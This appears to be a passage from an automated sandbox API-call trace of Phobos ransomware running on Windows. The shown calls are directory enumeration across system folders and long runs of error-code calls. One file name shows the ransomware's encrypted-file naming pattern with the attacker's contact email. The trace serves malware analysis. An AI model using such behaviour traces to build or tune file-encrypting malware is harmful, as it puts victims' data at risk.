ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0148.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x894fb8 [0148.622] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.622] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0148.622] FindClose (in: hFindFile=0x894fb8 | out: hFindFile=0x894fb8) returned 1 [0148.622] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.622] FindNextFileW (in: hFindFile=0x836ca0, lpFindFileData=0x3c1f17c | out: lpFindFileData=0x3c1f17c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0148.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\*", lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8954f8 [0148.623] FindNextFileW (in: hFindFile=0x8954f8, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.623] FindNextFileW (in: hFindFile=0x8954f8, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0148.623] FindNextFileW (in: hFindFile=0x8954f8, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0148.623] FindClose (in: hFindFile=0x8954f8 | out: hFindFile=0x8954f8) returned 1 [0148.623] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.623] FindNextFileW (in: hFindFile=0x836ca0, lpFindFileData=0x3c1f17c | out: lpFindFileData=0x3c1f17c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0148.623] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\*", lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895538 [0148.623] FindNextFileW (in: hFindFile=0x895538, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.623] FindNextFileW (in: hFindFile=0x895538, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0148.623] FindNextFileW (in: hFindFile=0x895538, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 Thread: id = 77 os_tid = 0xf40 [0147.162] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x38) returned 0x23a8080 [0147.162] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x18) returned 0x23a80c0 [0147.163] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x508 [0147.163] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x50c [0147.163] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x510 [0147.163] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10000) returned 0x3664070 [0147.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xc43957, lpParameter=0x3d5fce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514 [0147.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xc43957, lpParameter=0x3d5fce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518 [0147.165] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10000) returned 0x3674078 [0147.166] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x3d5fa58 | out: lpFindFileData=0x3d5fa58*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3d5fc80, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x836720 [0147.170] GetLastError () returned 0x0 [0147.170] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x214) returned 0x23a8d50 [0147.171] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bf0000 [0147.171] GetCurrentThreadId () returned 0xf40 [0147.171] SetLastError (dwErrCode=0x0) [0147.171] GetLastError () returned 0x0 [0147.171] SetLastError (dwErrCode=0x0) [0147.171] GetLastError () returned 0x0 [0147.171] SetLastError (dwErrCode=0x0) [0147.171] GetLastError () returned 0x0 [0147.171] SetLastError (dwErrCode=0x0) [0147.171] GetLastError () returned 0x0 [0147.172] SetLastError (dwErrCode=0x0) [0147.172] GetLastError () returned 0x0 [0147.172] SetLastError (dwErrCode=0x0) [0147.172] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10000) returned 0x3694088 [0147.172] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x3d5f7d4 | out: lpFindFileData=0x3d5f7d4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x836ba0 [0147.175] FindNextFileW (in: hFindFile=0x836ba0, lpFindFileData=0x3d5f7d4 | out: lpFindFileData=0x3d5f7d4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0147.175] FindNextFileW (in: hFindFile=0x836ba0, lpFindFileData=0x3d5f7d4 | out: lpFindFileData=0x3d5f7d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Logs", cAlternateFileName="")) returned 1 [0147.175] GetLastError () returned 0x0 [0147.175] SetLastError (dwErrCode=0x0) [0147.175] GetLastError () returned 0x0 [0147.175] SetLastError (dwErrCode=0x0) [0147.175] GetLastError () returned 0x0 [0147.176] SetLastError (dwErrCode=0x0) [0147.176] GetLastError () returned 0x0 [0147.176] SetLastError (dwErrCode=0x0) [0147.176] GetLastError () returned 0x0 [0147.176] SetLastError (dwErrCode=0x0) [0147.176] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10000) returned 0x36a4090 [0147.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x3d5f550 | out: lpFindFileData=0x3d5f550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8367a0 [0147.177] FindNextFileW (in: hFindFile=0x8367a0, lpFindFileData=0x3d5f550 | out: lpFindFileData=0x3d5f550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.177] FindNextFileW (in: hFindFile=0x8367a0, lpFindFileData=0x3d5f550 | out: lpFindFileData=0x3d5f550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef13df77, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xef13df77, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xef164198, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0xa7e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="DOWNLE~1.PHO")) returned 1 [0147.178] GetLastError () returned 0x0 [0147.178] SetLastError (dwErrCode=0x0) [0147.178] GetLastError () returned 0x0 [0147.178] SetLastError (dwErrCode=0x0) [0147.178] GetLastError () returned 0x0 [0147.178] SetLastError (dwErrCode=0x0) [0147.178] GetLastError () returned 0x0 [0147.178] SetLastError (dwErrCode=0x0) [0147.178] GetLastError () returned 0x0 [0147.178] SetLastError (dwErrCode=0x0) [0147.178] GetLastError () returned 0x0 [0147.178] SetLastError (dwErrCode=0x0) [0147.178] GetLastError () returned 0x0 [0147.178] SetLastError (dwErrCode=0x0) [0147.178] GetLastError () returned 0x0 [0147.178] SetLastError (dwErrCode=0x0) [0147.178] GetLastError () returned 0x0 [0147.178] SetLastError (dwErrCode=0x0) [0147.178] GetLastError () returned 0x0 [0147.179] SetLastError (dwErrCode=0x0) [0147.179] GetLastError () returned 0x0 [0147.179] SetLastError (dwErrCode=0x0) [0147.179] GetLastError () returned 0x0 [0147.179] SetLastError (dwErrCode=0x0) [0147.179] GetLastError () returned 0x0 [0147.180] SetLastError (dwErrCode=0x0) [0147.180] GetLastError () returned 0x0 [0147.180] SetLastError (dwErrCode=0x0) [0147.180] GetLastError () returned 0x0 [0147.180] SetLastError (dwErrCode=0x0) [0147.180] GetLastError () returned 0x0 [0147.180] SetLastError (dwErrCode=0x0) [0147.180] GetLastError () returned 0x0 [0147.180] SetLastError (dwErrCode=0x0) [0147.180] GetLastError () returned 0x0 [0147.180] SetLastError (dwErrCode=0x0) [0147.180] GetLastError () returned 0x0 [0147.180] SetLastError (dwErrCode=0x0) [0147.180] GetLastError () returned 0x0 [0147.180] SetLastError (dwErrCode=0x0) [0147.180] GetLastError () returned 0x0 [0147.180] SetLastError (dwErrCode=0x0) [0147.180] GetLastError () returned 0x0 [0147.181] SetLastError (dwErrCode=0x0) [0147.181] GetLastError () returned 0x0 [0147.181] SetLastError (dwErrCode=0x0) [0147.181] GetLastError () returned 0x0 [0147.181] SetLastError (dwErrCode=0x0) [0147.181] GetLastError () returned 0x0 [0147.181] SetLastError (dwErrCode=0x0) [0147.181] GetLastError () returned 0x0 [0147.181] SetLastError (dwErrCode=0x0) [0147.181] GetLastError () returned 0x0 [0147.181] SetLastError (dwErrCode=0x0) [0147.181] GetLastError () returned 0x0 [0147.181] SetLastError (dwErrCode=0x0) [0147.181] GetLastError () returned 0x0 [0147.182] SetLastError (dwErrCode=0x0) [0147.182] GetLastError () returned 0x0 [0147.182] SetLastError (dwErrCode=0x0) [0147.182] GetLastError () returned 0x0 [0147.182] SetLastError (dwErrCode=0x0) [0147.182] GetLastError () returned 0x0 [0147.182] SetLastError (dwErrCode=0x0) [0147.182] GetLastError () returned 0x0 [0147.182] SetLastError (dwErrCode=0x0) [0147.182] GetLastError () returned 0x0 [0147.182] SetLastError (dwErrCode=0x0) [0147.182] GetLastError () returned 0x0 [0147.182] SetLastError (dwErrCode=0x0) [0147.182] GetLastError () returned 0x0 [0147.182] SetLastError (dwErrCode=0x0) [0147.182] GetLastError () returned 0x0 [0147.182] SetLastError (dwErrCode=0x0) [0147.182] GetLastError () returned 0x0 [0147.183] SetLastError (dwErrCode=0x0) [0147.183] GetLastError () returned 0x0 [0147.183] SetLastError (dwErrCode=0x0) [0147.183] GetLastError () returned 0x0 [0147.184] SetLastError (dwErrCode=0x0) [0147.184] GetLastError () returned 0x0 [0147.184] SetLastError (dwErrCode=0x0) [0147.184] GetLastError () returned 0x0 [0147.184] SetLastError (dwErrCode=0x0) [0147.184] GetLastError () returned 0x0 [0147.184] SetLastError (dwErrCode=0x0) [0147.184] GetLastError () returned 0x0 [0147.184] SetLastError (dwErrCode=0x0) [0147.184] GetLastError () returned 0x0 [0147.184] SetLastError (dwErrCode=0x0) [0147.184] GetLastError () returned 0x0 [0147.184] SetLastError (dwErrCode=0x0) [0147.184] GetLastError () returned 0x0 [0147.184] SetLastError (dwErrCode=0x0) [0147.184] GetLastError () returned 0x0 [0147.184] SetLastError (dwErrCode=0x0) [0147.184] GetLastError () returned 0x0 [0147.185] SetLastError (dwErrCode=0x0) [0147.185] GetLastError () returned 0x0 [0147.185] SetLastError (dwErrCode=0x0) [0147.185] GetLastError () returned 0x0 [0147.185] SetLastError (dwErrCode=0x0) [0147.185] GetLastError () returned 0x0 [0147.185] SetLastError (dwErrCode=0x0) [0147.185] GetLastError () returned 0x0 [0147.185] SetLastError (dwErrCode=0x0) [0147.185] GetLastError () returned 0x0 [0147.185] SetLastError (dwErrCode=0x0) [0147.185] GetLastError () returned 0x0 [0147.185] SetLastError (dwErrCode=0x0) [0147.185] GetLastError () returned 0x0 [0147.185] SetLastError (dwErrCode=0x0) [0147.185] GetLastError () returned 0x0 [0147.185] SetLastError (dwErrCode=0x0) [0147.185] GetLastError () returned 0x0 [0147.186] SetLastError (dwErrCode=0x0) [0147.186] GetLastError () returned 0x0 [0147.186] SetLastError (dwErrCode=0x0) [0147.186] GetLastError () returned 0x0 [0147.186] SetLastError (dwErrCode=0x0) [0147.186] GetLastError () returned 0x0 [0147.186] SetLastError (dwErrCode=0x0) [0147.186] GetLastError () returned 0x0 [0147.186] SetLastError (dwErrCode=0x0) [0147.186] GetLastError () returned 0x0 [0147.186] SetLastError (dwErrCode=0x0) [0147.186] GetLastError () returned 0x0 [0147.186] SetLastError (dwErrCode=0x0) [0147.186] GetLastError () returned 0x0 [0147.186] SetLastError (dwErrCode=0x0) [0147.186] GetLastError () returned 0x0 [0147.186] SetLastError (dwErrCode=0x0) [0147.186] GetLastError () returned 0x0 [0147.187] SetLastError (dwErrCode=0x0) [0147.187] GetLastError () returned 0x0 [0147.187] SetLastError (dwErrCode=0x0) [0147.187] GetLastError () returned 0x0 [0147.187] SetLastError (dwErrCode=0x0) [0147.187] GetLastError () returned 0x0 [0147.187] SetLastError (dwErrCode=0x0) [0147.187] GetLastError () returned 0x0 [0147.187] SetLastError (dwErrCode=0x0) [0147.187] GetLastError () returned 0x0 [0147.187] SetLastError (dwErrCode=0x0) [0147.187] GetLastError () returned 0x0 [0147.187] SetLastError (dwErrCode=0x0) [0147.187] GetLastError () returned 0x0 [0147.187] SetLastError (dwErrCode=0x0) [0147.187] GetLastError () returned 0x0 [0147.187] SetLastError (dwErrCode=0x0) [0147.187] GetLastError () returned 0x0 [0147.188] SetLastError (dwErrCode=0x0) [0147.188] GetLastError () returned 0x0 [0147.188] SetLastError (dwErrCode=0x0) [0147.188] GetLastError () returned 0x0 [0147.194] SetLastError (dwErrCode=0x0) [0147.194] GetLastError () returned 0x0 [0147.194] SetLastError (dwErrCode=0x0) [0147.194] GetLastError () returned 0x0 [0147.194] SetLastError (dwErrCode=0x0) [0147.194] GetLastError () returned 0x0 [0147.194] SetLastError (dwErrCode=0x0) [0147.194] GetLastError () returned 0x0 [0147.194] SetLastError (dwErrCode=0x0) [0147.194] GetLastError () returned 0x0 [0147.194] SetLastError (dwErrCode=0x0) [0147.194] GetLastError () returned 0x0 [0147.194] SetLastError (dwErrCode=0x0) [0147.194] GetLastError () returned 0x0 [0147.195] SetLastError (dwErrCode=0x0) [0147.195] GetLastError () returned 0x0 [0147.195] SetLastError (dwErrCode=0x0) [0147.195] GetLastError () returned 0x0 [0147.195] SetLastError (dwErrCode=0x0) [0147.195] GetLastError () returned 0x0 [0147.195] SetLastError (dwErrCode=0x0) [0147.195] GetLastError () returned 0x0 [0147.195] SetLastError (dwErrCode=0x0) [0147.195] GetLastError () returned 0x0 [0147.195] SetLastError (dwErrCode=0x0) [0147.195] GetLastError () returned 0x0 [0147.195] SetLastError (dwErrCode=0x0) [0147.195] GetLastError () returned 0x0 [0147.195] SetLastError (dwErrCode=0x0) [0147.195] GetLastError () returned 0x0 [0147.195] SetLastError (dwErrCode=0x0) [0147.195] GetLastError () returned 0x0 [0147.196] SetLastError (dwErrCode=0x0) [0147.196] GetLastError () returned 0x0 [0147.196] SetLastError (dwErrCode=0x0) [0147.196] GetLastError () returned 0x0 [0147.196] SetLastError (dwErrCode=0x0) [0147.196] GetLastError () returned 0x0 [0147.196] SetLastError (dwErrCode=0x0) [0147.196] GetLastError () returned 0x0 [0147.196] SetLastError (dwErrCode=0x0) [0147.196] GetLastError () returned 0x0 [0147.196] SetLastError (dwErrCode=0x0) [0147.196] GetLastError () returned 0x0 [0147.196] SetLastError (dwErrCode=0x0) [0147.196] GetLastError () returned 0x0 [0147.196] SetLastError (dwErrCode=0x0) [0147.196] GetLastError () returned 0x0 [0147.197] SetLastError (dwErrCode=0x0) [0147.197] GetLastError () returned 0x0 [0147.197] SetLastError (dwErrCode=0x0) [0147.197] GetLastError () returned 0x0 [0147.197] SetLastError (dwErrCode=0x0) [0147.197] GetLastError () returned 0x0 [0147.197] SetLastError (dwErrCode=0x0) [0147.197] GetLastError () returned 0x0 [0147.197] SetLastError (dwErrCode=0x0) [0147.197] GetLastError () returned 0x0 [0147.197] SetLastError (dwErrCode=0x0) [0147.197] GetLastError () returned 0x0 [0147.197] SetLastError (dwErrCode=0x0) [0147.197] GetLastError () returned 0x0 [0147.197] SetLastError (dwErrCode=0x0) [0147.197] GetLastError () returned 0x0 [0147.197] SetLastError (dwErrCode=0x0) [0147.197] GetLastError () returned 0x0 [0147.198] SetLastError (dwErrCode=0x0) [0147.198] GetLastError () returned 0x0 [0147.198] SetLastError (dwErrCode=0x0) [0147.198] GetLastError () returned 0x0 [0147.198] SetLastError (dwErrCode=0x0) [0147.198] GetLastError () returned 0x0 [0147.198] SetLastError (dwErrCode=0x0) [0147.198] GetLastError () returned 0x0 [0147.198] SetLastError (dwErrCode=0x0) [0147.198] GetLastError () returned 0x0 [0147.198] SetLastError (dwErrCode=0x0) [0147.198] GetLastError () returned 0x0 [0147.198] SetLastError (dwErrCode=0x0) [0147.198] GetLastError () returned 0x0 [0147.198] SetLastError (dwErrCode=0x0) [0147.198] GetLastError () returned 0x0 [0147.198] SetLastError (dwErrCode=0x0) [0147.198] GetLastError () returned 0x0 [0147.199] SetLastError (dwErrCode=0x0) [0147.199] GetLastError () returned 0x0 [0147.199] SetLastError (dwErrCode=0x0) [0147.199] GetLastError () returned 0x0 [0147.199] SetLastError (dwErrCode=0x0) [0147.199] GetLastError () returned 0x0 [0147.199] SetLastError (dwErrCode=0x0) [0147.199] GetLastError () returned 0x0 [0147.199] SetLastError (dwErrCode=0x0) [0147.199] GetLastError () returned 0x0 [0147.199] SetLastError (dwErrCode=0x0) [0147.199] GetLastError () returned 0x0 [0147.199] SetLastError (dwErrCode=0x0) [0147.199] GetLastError () returned 0x0 [0147.199] SetLastError (dwErrCode=0x0) [0147.199] GetLastError () returned 0x0 [0147.199] SetLastError (dwErrCode=0x0) [0147.200] GetLastError () returned 0x0 [0147.200] SetLastError (dwErrCode=0x0) [0147.200] GetLastError () returned 0x0 [0147.200] SetLastError (dwErrCode=0x0) [0147.200] GetLastError () returned 0x0 [0147.200] SetLastError (dwErrCode=0x0) [0147.200] GetLastError () returned 0x0 [0147.200] SetLastError (dwErrCode=0x0) [0147.200] GetLastError () returned 0x0 [0147.200] SetLastError (dwErrCode=0x0) [0147.200] GetLastError () returned 0x0 [0147.200] SetLastError (dwErrCode=0x0) [0147.200] GetLastError () returned 0x0 [0147.200] SetLastError (dwErrCode=0x0) [0147.200] GetLastError () returned 0x0 [0147.200] SetLastError (dwErrCode=0x0) [0147.200] GetLastError () returned 0x0 [0147.201] SetLastError (dwErrCode=0x0) [0147.201] GetLastError () returned 0x0 [0147.201] SetLastError (dwErrCode=0x0) [0147.201] GetLastError () returned 0x0 [0147.201] SetLastError (dwErrCode=0x0) [0147.201] GetLastError () returned 0x0 [0147.201] SetLastError (dwErrCode=0x0) [0147.201] GetLastError () returned 0x0 [0147.201] SetLastError (dwErrCode=0x0) [0147.201] GetLastError () returned 0x0 [0147.201] SetLastError (dwErrCode=0x0) [0147.201] GetLastError () returned 0x0 [0147.201] SetLastError (dwErrCode=0x0) [0147.201] GetLastError () returned 0x0 [0147.201] SetLastError (dwErrCode=0x0) [0147.201] GetLastError () returned 0x0 [0147.202] SetLastError (dwErrCode=0x0) [0147.202] GetLastError () returned 0x0 [0147.202] SetLastError (dwErrCode=0x0) [0147.202] GetLastError () returned 0x0 [0147.202] SetLastError (dwErrCode=0x0) [0147.202] GetLastError () returned 0x0 [0147.202] SetLastError (dwErrCode=0x0) [0147.202] GetLastError () returned 0x0 [0147.202] SetLastError (dwErrCode=0x0) [0147.202] GetLastError () returned 0x0 [0147.202] SetLastError (dwErrCode=0x0) [0147.202] GetLastError () returned 0x0 [0147.202] SetLastError (dwErrCode=0x0) [0147.202] GetLastError () returned 0x0 [0147.202] SetLastError (dwErrCode=0x0) [0147.202] GetLastError () returned 0x0 [0147.202] SetLastError (dwErrCode=0x0) [0147.202] GetLastError () returned 0x0 [0147.202] SetLastError (dwErrCode=0x0) [0147.203] GetLastError () returned 0x0 [0147.203] SetLastError (dwErrCode=0x0) [0147.203] GetLastError () returned 0x0 [0147.203] SetLastError (dwErrCode=0x0) [0147.203] GetLastError () returned 0x0 [0147.203] SetLastError (dwErrCode=0x0) [0147.203] 